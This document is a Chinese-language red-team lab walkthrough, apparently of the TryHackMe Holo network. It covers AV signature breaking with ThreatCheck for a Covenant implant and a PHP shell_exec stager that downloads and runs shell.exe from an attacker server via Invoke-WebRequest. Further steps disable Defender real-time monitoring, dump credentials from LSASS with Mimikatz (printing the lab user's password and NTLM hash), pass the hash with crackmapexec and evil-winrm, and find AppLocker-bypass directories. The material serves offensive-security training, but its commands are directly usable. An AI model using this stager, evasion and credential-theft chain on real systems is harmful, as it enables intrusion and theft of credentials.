到目前为止,我们应该有一个有效的 PoC 有效载荷和 grunt。然而,在许多情况下,绕过 AMSI 和混淆代码的基本步骤可能不起作用。在这种情况下,我们将需要使用其他工具和技术来手动识别代码中的坏字节并检查代码以打破签名,让代码干净地通过 AMSI 和 Defender。

随着新的 EDR 解决方案和预防方法的发布,我们作为红队成员需要改变和发展我们的 TTP 以应对不断壮大的蓝队。通常,技术本身不会改变,但脚本和解决方案(如 https://github.com/IonizeCbr/AmsiPatchDetection 和指标)可能会使我们的有效载荷和工具更难通过,即使被绕过和混淆,或者我们有其他需要解决的限制。在这种情况下,我们可以使用代码分析和手动代码审查来打破签名。一些工具可以帮助我们进行代码分析,包括 ThreatCheck、https://github.com/rasta-mouse/ThreatCheck 和 DefenderCheck、https://github.com/matterpreter/DefenderCheck。这两个工具都会提取给定的文件并输出附加到签名的找到的字节。

我们再次建议使用开发虚拟机来测试和编辑代码。

如任务 7 中所述,您需要使用 Visual Studio 解决方案文件构建 Threat Check。需要注意的是,Threat Check 使用多个 NuGet 包;确保您的开发机器可以访问互联网以检索这些包。构建过程将生成一个应用程序文件、一个 DLL 文件和一个 XML 文件。您需要在同一目录中的所有三个文件才能使 ThreatCheck 正常工作。文件将构建到 ThreatCheck-master\\ThreatCheck\\ThreatCheck\\bin\\Debug

img

ThreatCheck 的参数列表很小,语法相对简单。下面是参数列表和语法示例。

  • -e—engine(AMSI 或 Defender)
  • -f—file
  • -u—url

语法:ThreatCheck.exe -f <file>

在此任务中,我们将重点分析 Covenant 源代码;但是,ThreatCheck 可用于您需要清理的任何工具或有效负载。

下面是 ThreatCheck 将发现的第一个坏字节的示例。ThreatCheck 将根据其签名强度汇总字节,最低的签名是最强的签名,也是您应该优先破解的签名。

img

为了帮助我们破解 Covenant 签名,我们将遵循 RastaMouse 编写的指南,https://offensivedefence.co.uk/posts/covenant-profiles-templates/。

查看 ThreatCheck 的输出,我们注意到一个 WebProxy 以及一个 http://192.168.227.139:80。我们可以假设它是从这些签名附加到侦听器而不是 grunt 代码本身。要破解此签名,我们可以创建自定义侦听器配置文件或编辑当前 HTTP 配置文件。

感谢 RastaMouse 之前的研究,我们知道您需要添加 HTTP 响应标头来破解签名。如果您盲目地进入这个,您需要尝试设置和代码来确定引擎附加的位置以及您可以做什么来破解它。将以下行添加到“Listeners > Profiles > CustomHttpProfile”下的侦听器配置文件中。

img

添加后,我们可以再次构建代理并再次针对 ThreatCheck 进行测试。

img

上面的输出附加了两个签名。利用您对 HTTP 请求和响应的了解来破解签名。

您还会注意到一个 GUID Type 签名。利用您在任务 6 中学到的 C# 知识以及 RastaMouse 的指南来破解此签名并创建干净的 grunt。

您必须重复此过程,在 ThreatCheck 和源代码之间来回切换,直到您拥有一个可以逃避检测的干净代理。

如果成功,您现在将拥有一个可以逃避 Defender 的干净工具或有效载荷。

Wrapping the burrito

现在我们有了一个可以绕过防病毒软件的可执行文件,我们需要一种方法来执行它。我们知道 Web 服务器无法执行应用程序,因此我们需要编写一个 PHP 包装器来为我们下载和执行代码。

我们将使用模板有效负载/包装器,我们可以使用它在远程服务器上部署 PowerShell 命令来完成此任务。这将允许我们下载并执行我们的恶意应用程序。请在下方找到模板的源代码。

<?php
function compile_stager() {
$init = "powershell.exe";
$payload = ""; // Insert PowerShell payload here
$execution_command = "shell_exec";
$query = $execution_command("$init $payload");
echo $query; // Execute query
}
compile_stager();
?>

上述包装器利用 shell_exec 命令在服务器上打开一个进程并以 Web 服务器的身份执行命令。当然,这只有当您在系统上有执行权限时才会起作用。

您可以决定上传 exe grunt 或创建 ps1 grunt,两者都可以与模板一起使用。

要下载我们的恶意 grunt,我们可以使用 python、updog 等在我们的攻击机器上设置一个 HTTP 服务器,并使用 iexInvoke-WebRequest 对我们的服务器进行远程调用。请在下方找到下载有效负载。

要下载我们的恶意 grunt,我们可以使用 python、updog 等在我们的攻击机器上设置一个 HTTP 服务器,并使用 iexInvoke-WebRequest 对我们的服务器进行远程调用。请在下方找到下载有效负载。

Invoke-WebRequest 127.0.0.1:8000/shell.exe -outfile notashell.exe

要实现此有效负载,您需要将地址和端口更改为攻击机器。您可能还需要首先确定 Web 服务器的根目录,以确定可以在哪里执行文件,不能在哪里执行文件,例如服务器上是否使用了 AppLocker 或其他解决方案。

下载文件后,我们将要使用 PowerShell 执行它。首先,找到下面的执行有效负载。

.\notashell.exe` or `cmd /c .\notashell.exe

我们可以将所有有效载荷放入包装器中以完成我们的 PHP 有效载荷。下面找到最终的 PHP 代码。

<?php

function get_stager() {
$init = "powershell.exe";
$payload = "Invoke-WebRequest http://127.0.0.1:8000/shell.exe -OutFile notashell.exe"; // Insert PowerShell payload here
$execution_command = "shell_exec";
$query = $execution_command("$init -Command $payload");
echo $query; // Execute query
}

function execute_stager() {
$init = "powershell.exe";
$payload = ".\\notashell.exe"; // Insert PowerShell payload here
$execution_command = "shell_exec";
$query = $execution_command("$init -Command $payload");
echo $query; // Execute query
}

get_stager();
execute_stager();
die();

?>

我们现在有一个可以与 Covenant 配合使用的 PHP shell。您可以在 GitHub 上找到源代码,https://github.com/Cryilllic/PHP-PowerShell/tree/main。

That’s not a cat that’s a dawg

现在我们已经拥有了机器的管理员访问权限,我们可以按照后漏洞利用方法转储凭据。为了帮助我们转储凭据,我们将使用臭名昭著的工具 Mimikatz。我们还将利用 Covenant 来删除 Mimikatz。

Mimikatz 是一种用于各种后漏洞利用活动的知名工具。我们将使用它从 LSASS 转储凭据。T1003 来自 MITRE ATT&CK。ATT&CK 将其描述为“攻击者可能会尝试访问存储在本地安全机构子系统服务 (LSASS) 进程内存中的凭据材料。用户登录后,系统会生成各种凭据材料并将其存储在 LSASS 进程内存中。这些凭据材料可以由管理用户或系统收集,并用于使用备用身份验证材料进行横向移动。”

要运行 Mimikatz,我们可以使用 Covenant 来放置二进制文件。Covenant 有一个针对 Mimikatz 的任务;但是,它已经过时,无法在现代 Windows 系统上运行,因此我们需要编译或下载二进制文件以供使用。

我们可以使用“上传”任务上传 Mimikatz 二进制文件,并从发布页面 https://github.com/gentilkiwi/mimikatz/releases/ 获取二进制文件,或者自己编译项目。Covenant 将向您显示一个弹出窗口,以便您将文件放入其中,然后 Covenant 将为您托管文件并将文件上传到服务器。下面是该窗口的示例。

img

为确保上传成功,您需要指定文件在目标上的上传位置以及文件在攻击机器上的位置。以下是文件路径语法的示例。

img

文件上传后,我们可以使用 Shell 任务来执行二进制文件。由于 Mimikatz 有自己的 CLI,因此您需要将所有要在 Mimikatz 中运行的命令发送到一个命令中,以便 Covenant 可以解释它。


现在我们已经在系统上执行了 Mimikatz,我们可以查看它的模块和语法。下面是一些 Mimikatz 模块的概述。

  • standard
  • privilege
  • crypto
  • sekurlsa
  • kerberos
  • lsadump
  • vault
  • and more

对于这项任务,我们将重点关注 privilegetokensekurlsa 模块。在每个模块中,可以使用许多命令来执行各种操作。有关 Mimikatz 所有功能的更多信息,请查看 GitHub wiki,https://github.com/gentilkiwi/mimikatz/wiki。

我们将要研究的第一个模块是 privilege,从这个模块中,我们将使用 privilege::debug 命令。此命令将允许我们在执行任何操作之前确保 Mimikatz 以适当的权限级别运行。

我们将要研究的第二个模块是 token,从这个模块中,我们将使用 token::elevate 命令。此命令将执行令牌模拟以获得系统上的提升完整性。令牌提升并非总是必要的,但可以在 Mimikatz 难以转储凭据时帮助排除故障。

我们将要研究的第三个模块是“sekurlsa”,该模块将包含与 LSASS 交互和滥用 LSASS 的大多数命令。从这个模块中,我们将使用“sekurlsa::logonpasswords”。此命令将转储已通过端点身份验证的帐户的凭据。我们还可以使用命令“lsadump::lsa”,它具有类似的功能,但会从内存中转储 LSASS 凭据。

我们可以将所有这些命令放在一起,以形成最终的 Mimikatz 命令,我们可以在 Covenant 中使用。如果正常使用此工具,您可以单独发送每个命令,但由于我们使用的是 Covenant,因此我们必须以略有不同的方式发送它们。请参阅下面的 Mimikatz 示例语法。

语法:.\Mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

退出 Mimikatz 非常重要,否则您的 shell 任务将永远无法完成。

我们现在应该有一种可行的方法来转储端点上的凭证。

通过xfreerdp能够直接复制mimikatz至机器上,但是很快被Defender杀掉了,关杀软,管理员身份运行powershell

Set-MpPreference -DisableRealtimeMonitoring $true

再次上传mimikatz

.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" exit

得到一个watamet域用户以及他的密码Nothingtoworry!,以及他的NTLM哈希:d8d41e6cf762a8c77776a1843d4141c9

Good Intentions, Courtesy of Microsoft: Part II

如果破解哈希失败,我们始终知道在 Windows 中操作时有备份。Windows 允许将哈希传递给 WinRM 和 RDP 以启用身份验证。这为我们作为攻击者提供了优势,摆脱了破解哈希的需要。这种攻击称为传递哈希。

传递哈希 (PtH) 是一种攻击,我们可以利用找到的用户密码的 NTLM 或 LanMan 哈希来验证其所属的用户。这得益于 Windows 中善意的安全“功能”,其中密码在通过网络发送之前会进行可预测的哈希处理。最初是为了避免密码泄露而这样做的,我们可以利用此功能捕获和重放哈希,从而允许我们以受害者用户的身份进行身份验证。

为了帮助我们传递哈希,我们可以使用 crackmapexec 和 Evil-WinRM。

我们将要研究的第一个工具是 crackmapexec,

https://github.com/byt3bl33d3r/CrackMapExec。从 crackmapexec GitHub 中可以看到,“CrackMapExec(又名 CME)是一种后漏洞利用工具,可帮助自动评估大型 Active Directory 网络的安全性。CME 以隐身性为设计理念,遵循“Living off the Land”的概念:滥用内置的 Active Directory 功能/协议来实现其功能,并使其能够逃避大多数端点保护/IDS/IPS 解决方案。”我们将仅使用 CME 的众多功能之一。我们可以通过 SMB、SSH、WinRM、LDAP 或 MSSQL 传递哈希值;我们建议使用 SMB。

我们将在整个 CIDR 子网中部署 CME,以识别凭据成功通过身份验证的端点。在下面找到 CME 的语法用法。

语法:crackmapexec smb 10.200.x.0/24 -u <user> -d <domain> -H <hash>

上面您将看到通过代理链的 crackmapexec 输出。 Crackmapexec 在通过代理链操作时可能需要相当长的时间。

有关 crackmapexec 的更多信息,请查看 GitHub wiki,https://github.com/byt3bl33d3r/CrackMapExec/wiki。


我们将要研究的第二个工具是 Evil-WinRM,https://github.com/Hackplayers/evil-winrm。此工具将滥用 WinRM 协议与远程端点通信。来自 Evil-WinRM GitHub “WinRM(Windows 远程管理)是 WS-Management 协议的 Microsoft 实现。一种基于 SOAP 的标准协议,允许来自不同供应商的硬件和操作系统进行互操作。Microsoft 将其包含在其操作系统中,以简化系统管理员的工作。”因此,我们可以使用我们之前找到的端点以及我们的哈希值和用户名对服务器进行身份验证并成功获得远程访问。

安装 Evil-WinRM 的最简单方法是从 gem 包管理器安装,因为该工具是用 Ruby 构建的。在下面找到安装 Evil-WinRM 的命令。

命令:gem install evil-winrm

安装后,使用 Evil-WinRM 相对简单,因为它的操作与其他 RDP 或 SSH 客户端类似。下面是 Evil-WinRM 语法。

语法:evil-winrm -i <address> -u <user> -H <hash>

如果成功通过身份验证,您现在应该有一个可用的 WinRM shell,您可以使用它来执行远程命令。

使用crackmap进行一个SMB共享的扫描,利用上个任务得到的watamet用户和他的哈希

┌──(mikannse㉿kali)-[~/桌面]
└─$ crackmapexec smb 10.200.107.0/24 -u watamet -H 'd8d41e6cf762a8c77776a1843d4141c9'
SMB 10.200.107.30 445 DC-SRV01 [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
SMB 10.200.107.35 445 PC-FILESRV01 [*] Windows 10.0 Build 17763 x64 (name:PC-FILESRV01) (domain:holo.live) (signing:False) (SMBv1:False)
SMB 10.200.107.31 445 S-SRV01 [*] Windows 10.0 Build 17763 x64 (name:S-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)
SMB 10.200.107.30 445 DC-SRV01 [+] holo.live\watamet:d8d41e6cf762a8c77776a1843d4141c9
SMB 10.200.107.35 445 PC-FILESRV01 [+] holo.live\watamet:d8d41e6cf762a8c77776a1843d4141c9
SMB 10.200.107.31 445 S-SRV01 [+] holo.live\watamet:d8d41e6cf762a8c77776a1843d4141c9 (Pwn3d!)

发现.35是一台个人PC,同样的,能够RDP远程连接

Watson left her locker open

登陆 PC-FILESRV01 并尝试执行态势感知后,您可能会注意到在执行应用程序时出现错误。这是由于服务器上设置的白名单应用程序控制。我们将介绍什么是 AppLocker 以及如何在此任务中绕过它。

来自 Microsoft Docs,“应用程序控制策略指定允许在本地计算机上运行哪些程序。AppLocker 可以成为您的应用程序控制策略的一部分,因为您可以控制允许在您的计算机上运行哪些软件。” 在 Microsoft Docs 的简要摘要中,AppLocker 是一组 Windows 应用程序控制策略,可用于限制对设备各个部分或跨域的多个设备的访问。要了解有关 AppLocker 的更多信息,请查看 Microsoft 文档 https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview。

每当 AppLocker 阻止程序运行时,您都会遇到错误:此程序被组策略阻止。有关更多信息,请联系您的系统管理员。 AppLocker 还将通过 ETW 向事件日志发送事件。

要开始了解 AppLocker,我们需要确定其在 Windows 中的结构和实现。

AppLocker 尚未成型;它只是一种类似于公司密码策略或超时策略的策略,它在后台运行并在需要时采取最少的措施。 AppLocker 由一组规则组成,这些规则可以是默认的、自动生成的或自定义的规则集。这些规则通常会拒绝或允许访问特定目录或目录集。规则还可以提供细粒度的访问控制,以指定哪些用户可以访问什么以及哪些规则适用于哪些用户。

AppLocker 的策略配置位于“secpol.msc”或本地安全策略编辑器中。如果将 AppLocker 更改为在域上下文中部署,这也可以是组策略编辑器。该策略位于 应用程序控制策略 下。

img

从上面的屏幕截图中,您将注意到四种规则类型。每种规则类型概述如下。

  • Executable Rules 确定可以从指定目录运行哪些可执行文件和应用程序。
  • Windows Installer Rules 确定可以运行哪些安装程序
  • Script Rules 确定可以运行哪些脚本和在哪里运行
  • Packaged app Rules 确定可以运行哪些预打包的 Windows 应用程序

以下是 AppLocker 创建的默认规则列表。

默认规则集将允许每个用户从 Program FilesWindows 目录执行应用程序,并允许管理员执行所有文件。

img

系统管理员可以创建和编辑 AppLocker 将强制执行的规则。该向导使用起来非常简单,并允许管理员将规则远程推送到域中的所有服务器。

img

上述允许规则将允许所有人访问 Program Files 目录。


绕过 AppLocker 的想法是滥用规则集本身中的错误配置。几个默认目录具有执行权限以及一些脚本和备忘单,您可以使用它们来帮助您滥用 AppLocker。

还有其他几种绕过 AppLocker 的方法,包括:

  • Signed/verified packages and binaries (LOLBAS)
  • PowerShell downgrade
  • Alternate Data Streams

有关绕过 AppLocker 的默认目录以及其他技术的完整列表,请查看此 GitHub 存储库 https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md。

需要注意的是,就网络内的噪声而言,默认目录更受青睐;但是,蓝队可能会使用其他检测规则来监视已知被滥用的目录。在处理 AppLocker 时,您可以自行决定目标和要使用的攻击方式。

为了帮助我们快速识别可用于执行程序的目录;我们可以使用 AppLocker 目录检查脚本 https://github.com/HackLikeAPornstar/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1。

此脚本将自动检查系统内所有已知目录的执行权限。这在处理自定义规则集和其他缓解措施时非常有用。

系统管理员通常不会限制 PowerShell 脚本,或者您可以直接从命令行运行脚本。因此,您需要根据系统调整运行此脚本的方法。请参阅下面的示例输出。

img

目录和执行权限将根据 AppLocker 策略而变化。因此,脚本的输出并不总是这样。

一旦我们通过手动枚举或 PowerShell 脚本确定了具有执行权限的目录,我们就可以在目录中放置恶意二进制文件(例如我们的 Covenant 启动器)并执行该二进制文件。

利用 https://github.com/sparcflow/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1 来查找执行文件可执行的目录

PS C:\Users\watamet\desktop> .\1.ps1
[*] Processing folders recursively in C:\windows
[+] C:\windows\Tasks
[+] C:\windows\tracing
[+] C:\windows\System32\spool\drivers\color
[+] C:\windows\tracing\ProcessMonitor

So it’s just fancy malware?

现在我们在 PC-FILESRV01 上有一个用户帐户和一个可用于执行的目录,我们可以开始态势感知。与 Linux 态势感知一样,Windows 态势感知意味着了解您已进入的系统以及您可以使用的内容。在以下四个任务中,我们将介绍:AV 枚举、用户和系统枚举、特权升级枚举和常见升级。在此任务中,我们将介绍 AV 枚举。不同的团队可能会采用态势感知,但我们将展示我们首选的方法和工具。

要开始评估哪些工具在攻击系统时最有用,您可以先尝试枚举已部署的 AV 和检测方法。枚举端点上的检测至关重要,因为这将允许您确定可访问的攻击面。


我们将研究的第一个工具是 Seatbelt,https://github.com/GhostPack/Seatbelt。来自 Seatbelt GitHub,“Seatbelt 是一个 C# 项目,它执行一系列面向安全的主机调查“安全检查”,从进攻性和防御性安全角度来看都是相关的。”如任务 7 中所述,您需要使用 Visual Studio 解决方案文件构建 Seatbelt。构建过程将生成一个应用程序文件、一个 XML 文件和一个 PDB 文件。应用程序文件是 Seatbelt 运行所需的唯一文件。文件将构建到 Seatbelt-master\Seatbelt-master\Seatbelt\bin\Debug

我们可以在 Seatbelt 中使用七个命令的组合来开始识别对策。我们将在后面的任务中进一步深入介绍 Seatbelt。下面列出了使用的命令的概要。

  • AMSIProviders 为 AMSI 注册的提供商
  • AntiVirus 注册的防病毒软件(通过 WMI)
  • Sysmon 来自注册表的 Sysmon 配置
  • WindowsDefender Windows Defender 设置(包括排除位置)
  • WindowsEventForwarding 通过注册表的 Windows 事件转发 (WEF) 设置
  • McAfeeConfigs 查找 McAfee 配置文件
  • InterestingProcesses “有趣”的进程 - 防御产品和管理工具

这些命令背后的用法可能因端点的权限级别而异;但是,您可以期望从中收集少量信息以帮助识别 AV 产品。在下面找到 Seatbelt 的语法。

语法:Seatbelt.exe —group=system

上面使用的大多数命令也可以远程使用。这意味着我们不必担心 AMSI 或 Defender,因为它们是通过 WMI 查询运行的。在下面找到 Seatbelt 的远程语法。

语法:Seatbelt.exe -group=remote -computername=<address> -username=<DOMAIN\user> -password=<password

您可以在下面找到指示端点上的 AV 检测的命令输出示例。

img

img


我们将要研究的第二个工具是 SharpEDRChecker,https://github.com/PwnDexter/SharpEDRChecker。

来自 SharpEDRChecker GitHub “SharpEDRChecker 检查正在运行的进程、进程元数据、加载到当前进程中的 DLL 和每个 DLL 元数据、通用安装目录、已安装的服务和每个服务二进制文件元数据、已安装的驱动程序和每个驱动程序元数据,所有这些都是为了检测是否存在已知的防御产品,例如 AV、EDR 和日志记录工具。”

这意味着我们可以识别 Seatbelt 或其他工具可能无法使用其方法找到的更高级形式的防病毒和检测代理。例如,Carbon Black、Tanium 或 Crowd Strike;这些解决方案平台可以将代理部署到组织自定义的端点上,类似于恶意负载(基本上是恶意软件,对吧?)

下面我们将介绍 SharpEDRChecker 的每个功能以及它们如何使我们在态势感知方面受益。

  • FileChecker 该工具的这个功能是它与其他工具的真正区别。它将检查文件的元数据,这些元数据不能更改,因为它会使代码签名无效并破坏文件的其他方面。
  • ProcessChecker 与 Seatbelt 的 InterestingProcesses 功能类似,此模块的第一部分将检查所有进程。模块的第二部分将检查进程加载的 DLL,这对于识别 Cylance 和 AMSI 等产品很重要。
  • ServiceChecker 检查已安装的服务,与 ProcessChecker 功能类似。
  • DriverChecker 使用 P/Invoke 对所有驱动程序执行检查。
  • DirectoryChecker 转储公共目录(Program Files、ProgramData 等)上的所有有趣子目录

要开始使用 SharpEDRChecker,您可以从 GitHub 下载预编译版本,也可以使用解决方案文件从源代码进行编译。有关编译的更多信息,请返回任务 7。在此处查找版本,https://github.com/PwnDexter/SharpEDRChecker/releases/tag/1.1。

在下面查找 SharpEDRChecker 的语法和示例输出。

Syntax: .\SharpEDRChecker.exe

img

从上面的截图中,我们可以看到,与 Seatbelt 相比,该工具提供的输出更加详细,Seatbelt 比 Seatbelt 和其他工具更加集中,并且提供了更多的洞察力。

有关 SharpEDRChecker 的更多信息,请查看此博客 https://redteaming.co.uk/2021/03/18/sharpedrchecker/。

根据您决定采用的方法,您可能必须返回任务 27-31 以使工具通过防病毒软件。

此情境意识步骤也可以在获得 root 访问权限之前或之后完成,具体取决于您想要如何处理它,或者可以根据您的目标完全跳过它。

下载构建好了的seatbelt https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe

放到C:\Windows\tasks中,

.\seatbelt.exe -group=system

得到anti-malware是AMSI,anti-virus product 是windows defender

SEATBELT CHECK!

现在我们了解了系统的检测措施以及我们在攻击面上可以做什么和不能做什么,我们可以开始进行系统枚举。这种类型的枚举可以帮助我们更好地识别端点的表面和潜在的特权升级区域。为了使我们能够枚举端点,我们将再次使用 Seatbelt。

如前所述,Seatbelt 是一种枚举工具,它将执行许多系统检查并提供有关端点的信息。这次我们将使用 Seatbelt 提供的所有模块。

以下是一些基本模块的快速概览。

  • DotNet 检索 .NET 版本
  • LocalGPOs 查找应用于计算机和本地用户的本地组策略
  • LocalGroups 列出非空的本地组
  • NetworkShares 列出公开的网络共享
  • PowerShell 检索 PowerShell 版本和安全设置
  • Processes 列出正在运行的进程
  • TokenPrivileges 列出已启用的令牌权限 (SeDebug)
  • CredEnum 列出当前用户已保存的凭据
  • InterestingFiles 用户文件夹中与模式匹配的有趣文件
  • ScheduledTasks 非 Microsoft 编写的计划任务。

上述某些任务需要权限或桌面会话才能运行。使用 Seatbelt 进行低权限感知使用您可以获得的基本信息来识别系统表面。

这些并不是 Seatbelt 提供的所有模块。有关 Seatbelt 提供的所有模块的更多信息,请查看 GitHub 自述文件,https://github.com/GhostPack/Seatbelt#command-groups

在下面找到语法和输出示例。

Syntax: .\Seatbelt.exe all

img

我们还可以使用下面的 Seatbelt 模块从 Covenant 运行 Seatbelt。

模块:Seatbelt

您会注意到 Seatbelt 会产生大量输出。将此输出保存到文件中以供以后梳理会很有帮助。您将需要花一点时间搜索输出以获取有关端点所需的所有信息。

有关 Seatbelt 的更多信息,请查看 Seatbelt GitHub 页面,https://github.com/GhostPack/Seatbelt#table-of-contents。

ALL THE POWER!

现在我们了解了端点上的检测和系统表面,我们可以开始查看系统的用户和组。这一步的态势感知可以让我们找到权限和用户连接,以便将来进行水平移动或权限提升。

我们将要研究的第一个工具是 PowerView,https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon。此工具不再受支持,但仍被视为枚举的标准。来自 PowerSploit GitHub,“PowerView 是一个 PowerShell 工具,用于在 Windows 域上获取网络态势感知。它包含一组纯 PowerShell 替代品,用于各种 Windows“net *”命令,这些命令利用 PowerShell AD 挂钩和底层 Win32 API 函数来执行有用的 Windows 域功能。”

要使用该脚本,我们首先需要导入它,然后运行我们想要枚举端点的命令。查找可以与 PowerView 一起使用的语法和一些基本命令。

语法:Import-Module .\PowerView.ps1

我们现在可以运行 PowerView 提供的所有命令。在此任务中,我们将重点枚举本地用户和组策略界面。在下一个任务中,我们将使用本机 PowerShell 枚举活动目录界面。下面概述了我们将在此任务中介绍的命令列表。

  • Get-NetLocalGroup
  • Get-NetLocalGroupMember
  • Get-NetLoggedon
  • Get-DomainGPO
  • Find-LocalAdminAccess

有关命令的完整列表,请查看 GitHub 自述文件,https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon#powerview


我们将要查看的第一个 PowerView 命令是 Get-NetLocalGroup;此命令将枚举/列出本地机器/计算机上存在的所有组。在下面找到该命令的语法和输出。

Syntax: Get-NetLocalGroup

img

我们将要查看的第二个 PowerView 命令是“Get-NetLocalGroupMember”;此命令将枚举/列出本地组的所有成员,例如用户、计算机或服务帐户。在下面找到该命令的语法和输出。

Syntax: Get-NetLocalGroupMember -Group <group>

img

我们将要研究的第三个 PowerView 命令是“Get-NetLoggedon”;此命令将枚举/列出当前登录到本地机器/计算机的所有用户。这可以用于识别哪些用户不应接管或哪些用户应在网络钓鱼或其他攻击中作为目标,具体取决于您的团队的方法和/或目标。在下面找到该命令的语法和输出。

Syntax: Get-NetLoggedon

img

我们将要查看的第四个 PowerView 命令是“Get-DomainGPO”;此命令将枚举/列出本地计算机上安装的活动目录域 GPO。这在识别机器/计算机上运行的实用程序(如 AppLocker 或其他远程服务)时很有用。找到以下命令的语法和输出。

Syntax: Get-DomainGPO

img

我们将要研究的最后一个 PowerView 命令是“Find-LocalAdminAccess”;此命令将检查连接到机器/计算机所属域的所有主机,并检查当前用户或列出的用户是否是本地管理员。当针对特定用户并尝试横向移动域时,这会很有帮助。这可以用作传递哈希的其他工具(如 CME)的替代方案。在下面找到该命令的语法和输出。

Syntax: Find-LocalAdminAccess

img

有关命令和速查表的完整列表,请查看以下资源,

要在 Covenant 中运行 PowerView,我们可以利用任务 25 中提到的“PowerShellImport”。

与大多数攻击性工具一样,Defender 会检测到此脚本。您需要按照任务 31-36 中给出的方法来执行此工具并逃避检测。

Import-Module PowerUpGreySkull.ps1

在某些情况下,根据端点内的检测和限制,您可能无法运行 Seatbelt 和 PowerView 等工具。在这种情况下,我们可以使用攻击性 PowerShell 命令来执行态势感知。此外,Powershell 本身支持多个模块和命令,我们可以使用这些模块和命令来获得态势感知并枚举系统/环境。

我们将只介绍 PowerShell 功能的一小部分。请参阅下面的概述,了解我们将在此任务中介绍的命令和模块。

  • Get-ScheduledTask
  • Get-ScheduledTaskInfo
  • whoami /priv
  • Get-ADGroup
  • Get-ADGroupMember
  • Get-ADPrincipalGroupMembership

您会注意到,大多数模块都专注于活动目录结构;这是因为活动目录插件/模块为我们提供了大量专为系统管理员设计的控制权。我们将要查看的前两个命令旨在识别我们可以滥用以提升权限的错误配置。


我们将要查看的第一个 PowerShell 命令是“Get-ScheduledTask”;正如命令所述,它将列出/枚举系统中存在的所有计划任务。要列出所有任务,无需向命令传递任何参数。在下面找到命令的语法。

Syntax: Get-ScheduledTask

img

您会注意到存在大量任务;这是因为 Windows 在启动时会默认运行大量任务。我们可以使用过滤器和参数来消除一些不需要的任务,以专注于我们可以滥用的模糊任务。下面是过滤语法。

Syntax: Get-ScheduledTask -TaskPath "\Users\*"

img

您可以尝试使用参数和输入来获得系统枚举的最佳输出。

有关“Get-ScheduledTask”的更多信息,请查看 Microsoft 文档,https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/get-scheduledtask

我们将要查看的第二个 PowerShell 命令是“Get-ScheduledTaskInfo”;与 Get-ScheduledTask 类似,此命令将列出有关指定任务的特定信息,使攻击者能够识别任务及其利用方式。在下面找到命令的语法。

Syntax: Get-ScheduledTaskInfo -TaskName <Full Path>

img

有关 Get-ScheduledTaskInfo 的更多信息,请查看 Microsoft 文档,https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/get-scheduledtaskinfo

第三个命令 whomai /priv; 并非特定于 PowerShell,但可以帮助我们进行权限提升枚举,因为有许多漏洞可以利用错误配置的权限。/priv 参数将枚举当前用户的 SE 权限。在下面找到使用的命令和输出。

Command: whoami /priv

img


我们将要查看的第四个 PowerShell 命令是“Get-ADGroup”;此模块是 Active Directory 模块包的一部分,它允许我们枚举域内的用户组或所有组。为了充分利用此命令,我们需要枚举计算机上存在的用户。由于此命令是 ActiveDirectory 模块的一部分,因此您首先需要导入该模块。请参阅下面的命令语法。

语法:Import-Module ActiveDirectory; Get-ADGroup

运行命令后,系统将提示您使用 CLI 将过滤器应用于命令;我们建议使用“samAccountName”进行过滤。请参阅下面的此过滤器的示例用法。

Syntax: samAccountName -like "*"

img

为了充分利用此命令,您需要使用过滤器和参数来获取最有效的输出以枚举关键信息。

有关 Get-ADGroup 的更多信息,请查看 Microsoft 文档,https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adgroup

我们将要查看的第五个 PowerShell 命令是 Get-ADGroupMember;与 Get-ADGroup 类似,此命令将列出活动目录组的成员。一旦您枚举了域中存在的组,此命令就有助于识别您可以定位的特定用户,无论是用于特权提升还是横向移动。由于此命令是 ActiveDirectory 模块的一部分,因此您首先需要导入该模块。在下面找到该命令的语法。

语法:Import-Module ActiveDirectory; Get-ADGroupMember

运行该命令后,系统将提示您使用 CLI 指定要枚举的组。如前所述,您可以使用“Get-ADGroup”从上一个枚举中获取组。

img

有关 Get-ADGroupMember 的更多信息,请查看 Microsoft 文档,https://docs.microsoft.com/en-us/powershell/module/addsadministration/get-adgroupmember

我们将要查看的最后一个 PowerShell 命令是“Get-ADPrincipalGroupMembership”,类似于“Get-ADGroupMember”,此命令将检索用户、计算机组或服务帐户所属的组。为了充分利用此命令,我们需要已经使用其他命令(如“Get-ADUser”)枚举了一些目标用户。由于此命令是“ActiveDirectory”模块的一部分,因此您需要先导入该模块。在下面找到该命令的语法。

我们将要查看的最后一个 PowerShell 命令是“Get-ADPrincipalGroupMembership”;类似于“Get-ADGroupMember”;此命令将检索用户、计算机组或服务帐户所属的组。为了充分利用此命令,我们需要使用其他命令(如“Get-ADUser”)枚举目标用户。由于此命令是 ActiveDirectory 模块的一部分,因此您需要先导入该模块。以下是该命令的语法。

语法:Import-Module ActiveDirectory; Get-ADPrincipalGroupMembership

运行该命令后,系统将提示您使用 CLI 指定要枚举的用户。

img

当使用 PowerShell 进行攻击操作时,您需要尝试各种命令和模块,以了解哪些适合您,并开发类似于使用其他工具的方法。

WERE TAKING OVER THIS DLL!

现在我们已经执行了所有枚举和态势感知,我们可以继续进行权限提升。查看我们的枚举步骤,您可能会注意到一个连接到端点上计划任务的唯一应用程序。我们可以尝试劫持此应用程序以提升权限,然后在端点上设置持久性。

根据 MITRE ATT&CK 框架,DLL 劫持被定义为“攻击者可以通过劫持用于加载 DLL 的搜索顺序来执行自己的恶意负载。Windows 系统使用一种通用方法来查找要加载到程序中的所需 DLL。[1] 劫持 DLL 加载可能是为了建立持久性以及提升权限和/或逃避文件执行限制。” AT&CK 技术 ID 为 T1574

要利用 DLL 劫持进行权限提升,我们需要研究应用程序和已知漏洞及 DLL,并找到我们拥有写入权限的系统上不存在的 DLL。

